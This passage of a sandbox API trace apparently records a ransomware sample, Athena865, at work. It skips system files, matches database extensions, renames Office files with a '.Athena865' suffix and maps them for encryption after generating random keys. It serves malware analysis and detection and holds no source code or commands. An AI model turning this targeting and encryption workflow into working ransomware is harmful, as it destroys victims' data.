(lpString="vhdx") returned 4 [0078.136] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0078.136] lstrlenW (lpString="avhd") returned 4 [0078.136] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0078.136] lstrlenW (lpString="db") returned 2 [0078.136] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0078.137] lstrlenW (lpString="db2") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0078.137] lstrlenW (lpString="db3") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0078.137] lstrlenW (lpString="dbf") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0078.137] lstrlenW (lpString="mdf") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0078.137] lstrlenW (lpString="mdb") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0078.137] lstrlenW (lpString="sql") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0078.137] lstrlenW (lpString="sqlite") returned 6 [0078.137] lstrcmpiW (lpString1="ES.DLL", lpString2="sqlite") returned -1 [0078.137] lstrlenW (lpString="sqlite3") returned 7 [0078.137] lstrcmpiW (lpString1="RES.DLL", lpString2="sqlite3") returned -1 [0078.137] lstrlenW (lpString="sqlitedb") returned 8 [0078.137] lstrcmpiW (lpString1="ORES.DLL", lpString2="sqlitedb") returned -1 [0078.137] lstrlenW (lpString="xml") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0078.137] lstrlenW (lpString="$er") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0078.137] lstrlenW (lpString="4dd") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0078.137] lstrlenW (lpString="4dl") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0078.137] lstrlenW (lpString="^^^") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0078.137] lstrlenW (lpString="abs") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0078.137] lstrlenW (lpString="abx") returned 3 [0078.137] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0078.137] lstrlenW (lpString="accdb") returned 5 [0078.137] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0078.138] lstrlenW (lpString="accdc") returned 5 [0078.138] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0078.138] lstrlenW (lpString="accde") returned 5 [0078.138] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0078.138] lstrlenW (lpString="accdr") returned 5 [0078.138] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0078.138] lstrlenW (lpString="accdt") returned 5 [0078.138] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0078.138] lstrlenW (lpString="accdw") returned 5 [0078.138] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0078.138] lstrlenW (lpString="accft") returned 5 [0078.138] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0078.138] lstrlenW (lpString="adb") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0078.138] lstrlenW (lpString="adb") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0078.138] lstrlenW (lpString="ade") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0078.138] lstrlenW (lpString="adf") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0078.138] lstrlenW (lpString="adn") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0078.138] lstrlenW (lpString="adp") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0078.138] lstrlenW (lpString="alf") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0078.138] lstrlenW (lpString="ask") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0078.138] lstrlenW (lpString="btr") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0078.138] lstrlenW (lpString="cat") returned 3 [0078.138] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0078.138] lstrlenW (lpString="cdb") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0078.139] lstrlenW (lpString="ckp") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0078.139] lstrlenW (lpString="cma") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0078.139] lstrlenW (lpString="cpd") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0078.139] lstrlenW (lpString="dacpac") returned 6 [0078.139] lstrcmpiW (lpString1="ES.DLL", lpString2="dacpac") returned 1 [0078.139] lstrlenW (lpString="dad") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0078.139] lstrlenW (lpString="dadiagrams") returned 10 [0078.139] lstrcmpiW (lpString1="STORES.DLL", lpString2="dadiagrams") returned 1 [0078.139] lstrlenW (lpString="daschema") returned 8 [0078.139] lstrcmpiW (lpString1="ORES.DLL", lpString2="daschema") returned 1 [0078.139] lstrlenW (lpString="db-journal") returned 10 [0078.139] lstrcmpiW (lpString1="STORES.DLL", lpString2="db-journal") returned 1 [0078.139] lstrlenW (lpString="db-shm") returned 6 [0078.139] lstrcmpiW (lpString1="ES.DLL", lpString2="db-shm") returned 1 [0078.139] lstrlenW (lpString="db-wal") returned 6 [0078.139] lstrcmpiW (lpString1="ES.DLL", lpString2="db-wal") returned 1 [0078.139] lstrlenW (lpString="dbc") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0078.139] lstrlenW (lpString="dbs") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0078.139] lstrlenW (lpString="dbt") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0078.139] lstrlenW (lpString="dbv") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0078.139] lstrlenW (lpString="dbx") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0078.139] lstrlenW (lpString="dcb") returned 3 [0078.139] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0078.140] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0078.140] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0078.140] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0078.140] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL.Athena865") returned 64 [0078.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mstores.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mstores.dll.athena865"), dwFlags=0x1) returned 1 [0078.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mstores.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.141] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=564056) returned 1 [0078.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.141] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.142] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.142] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.142] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x89e60, lpName=0x0) returned 0x17c [0078.144] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x89e60) returned 0x2d50000 [0078.169] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.170] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.170] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.170] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.175] CloseHandle (hObject=0x17c) returned 1 [0078.175] CloseHandle (hObject=0x154) returned 1 [0078.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.178] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="..") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="windows") returned -1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="bootmgr") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="temp") returned -1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="pagefile.sys") returned -1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="boot") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="ids.txt") returned 1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="ntuser.dat") returned -1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="perflogs") returned -1 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2="MSBuild") returned 1 [0078.178] lstrlenW (lpString="MSWORD.OLB") returned 10 [0078.178] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSWORD.OLB" | out: lpString1="MSWORD.OLB") returned="MSWORD.OLB" [0078.178] lstrlenW (lpString="MSWORD.OLB") returned 10 [0078.178] lstrlenW (lpString="Athena865") returned 9 [0078.178] lstrcmpiW (lpString1="SWORD.OLB", lpString2="Athena865") returned 1 [0078.178] lstrlenW (lpString=".dll") returned 4 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".dll") returned 1 [0078.178] lstrlenW (lpString=".lnk") returned 4 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".lnk") returned 1 [0078.178] lstrlenW (lpString=".ini") returned 4 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".ini") returned 1 [0078.178] lstrlenW (lpString=".sys") returned 4 [0078.178] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".sys") returned 1 [0078.178] lstrlenW (lpString="MSWORD.OLB") returned 10 [0078.178] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB.Athena865") returned 63 [0078.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb.athena865"), dwFlags=0x1) returned 1 [0078.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.180] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=901464) returned 1 [0078.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.181] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.181] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.181] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc460, lpName=0x0) returned 0x17c [0078.182] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc460) returned 0x2d50000 [0078.214] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.215] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.215] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.216] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.223] CloseHandle (hObject=0x17c) returned 1 [0078.223] CloseHandle (hObject=0x154) returned 1 [0078.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".") returned 1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="..") returned 1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="windows") returned -1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="bootmgr") returned 1 [0078.227] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="temp") returned -1 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="pagefile.sys") returned -1 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="boot") returned 1 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="ids.txt") returned 1 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="ntuser.dat") returned -1 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="perflogs") returned -1 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2="MSBuild") returned 1 [0078.228] lstrlenW (lpString="MSYUBIN7.DLL") returned 12 [0078.228] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSYUBIN7.DLL" | out: lpString1="MSYUBIN7.DLL") returned="MSYUBIN7.DLL" [0078.228] lstrlenW (lpString="MSYUBIN7.DLL") returned 12 [0078.228] lstrlenW (lpString="Athena865") returned 9 [0078.228] lstrcmpiW (lpString1="UBIN7.DLL", lpString2="Athena865") returned 1 [0078.228] lstrlenW (lpString=".dll") returned 4 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".dll") returned 1 [0078.228] lstrlenW (lpString=".lnk") returned 4 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".lnk") returned 1 [0078.228] lstrlenW (lpString=".ini") returned 4 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".ini") returned 1 [0078.228] lstrlenW (lpString=".sys") returned 4 [0078.228] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".sys") returned 1 [0078.228] lstrlenW (lpString="MSYUBIN7.DLL") returned 12 [0078.228] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL.Athena865") returned 65 [0078.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msyubin7.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msyubin7.dll.athena865"), dwFlags=0x1) returned 1 [0078.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSYUBIN7.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msyubin7.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.230] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=288048) returned 1 [0078.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.230] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.231] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.231] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.231] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46830, lpName=0x0) returned 0x17c [0078.232] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46830) returned 0x2d50000 [0078.243] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.243] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.243] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.244] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.246] CloseHandle (hObject=0x17c) returned 1 [0078.246] CloseHandle (hObject=0x154) returned 1 [0078.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.248] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2=".") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="..") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="windows") returned -1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="bootmgr") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="temp") returned -1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="pagefile.sys") returned -1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="boot") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="ids.txt") returned 1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="ntuser.dat") returned -1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="perflogs") returned -1 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2="MSBuild") returned 1 [0078.248] lstrlenW (lpString="MYSL.ICO") returned 8 [0078.248] lstrcpyW (in: lpString1=0x241e89e, lpString2="MYSL.ICO" | out: lpString1="MYSL.ICO") returned="MYSL.ICO" [0078.248] lstrlenW (lpString="MYSL.ICO") returned 8 [0078.248] lstrlenW (lpString="Athena865") returned 9 [0078.248] lstrlenW (lpString=".dll") returned 4 [0078.248] lstrcmpiW (lpString1="MYSL.ICO", lpString2=".dll") returned 1 [0078.249] lstrlenW (lpString=".lnk") returned 4 [0078.249] lstrcmpiW (lpString1="MYSL.ICO", lpString2=".lnk") returned 1 [0078.249] lstrlenW (lpString=".ini") returned 4 [0078.249] lstrcmpiW (lpString1="MYSL.ICO", lpString2=".ini") returned 1 [0078.249] lstrlenW (lpString=".sys") returned 4 [0078.249] lstrcmpiW (lpString1="MYSL.ICO", lpString2=".sys") returned 1 [0078.249] lstrlenW (lpString="MYSL.ICO") returned 8 [0078.249] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO.Athena865") returned 61 [0078.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico.athena865"), dwFlags=0x1) returned 1 [0078.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 